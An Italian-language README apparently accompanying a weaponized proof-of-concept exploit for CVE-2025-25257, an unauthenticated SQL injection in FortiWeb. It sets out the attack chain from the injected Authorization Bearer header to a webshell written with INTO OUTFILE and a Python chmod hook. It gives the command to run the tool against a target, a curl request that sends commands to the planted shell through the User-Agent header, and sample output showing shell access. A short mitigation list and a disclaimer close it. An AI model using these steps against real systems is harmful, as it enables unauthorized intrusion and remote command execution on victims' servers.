🚨 CVE-2025-25257 – SQLi in FortiWeb verso RCE

Iniezione SQL critica → Esecuzione di Webshell

Scoperto e armato da 0xgh057r3c0n

🧠 Panoramica della Vulnerabilità

CVE-2025-25257 colpisce i sistemi FortiWeb che espongono l'endpoint /api/fabric/device/status, il quale non sanifica correttamente l'input dell'intestazione Authorization.

Un attaccante può eseguire un'iniezione SQL non autenticata per scrivere una webshell sul server ed eseguire comandi da remoto.

💥 Flusso dell'attacco

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 Endpoint Vulnerabile

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 Caratteristiche dell'Exploit

• SQLi tramite token Bearer
• SQL INTO OUTFILE per rilasciare shell
• L'hook Python attiva chmod
• Comandi eseguiti tramite User-Agent
• PoC completamente automatizzato

🧪 Utilizzo

python3 CVE-2025-25257.py -t https://target-host.com

Poi:

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 Requisiti

• Python 3.6+
• Modulo requests

Installa:

pip install requests

📤 Output di Esempio

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 Stima CVSS

🛡️ Mitigazione

• Aggiornare il firmware di FortiWeb (se disponibile patch)
• Sanificare tutti gli input delle intestazioni
• Limitare i percorsi di scrittura dei file e l'esecuzione CGI

👨‍💻 Autore

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ Disclaimer

Questa prova di concetto è solo per scopi educativi e test autorizzati. Utilizzare a proprio rischio. L'autore non è responsabile per un uso improprio.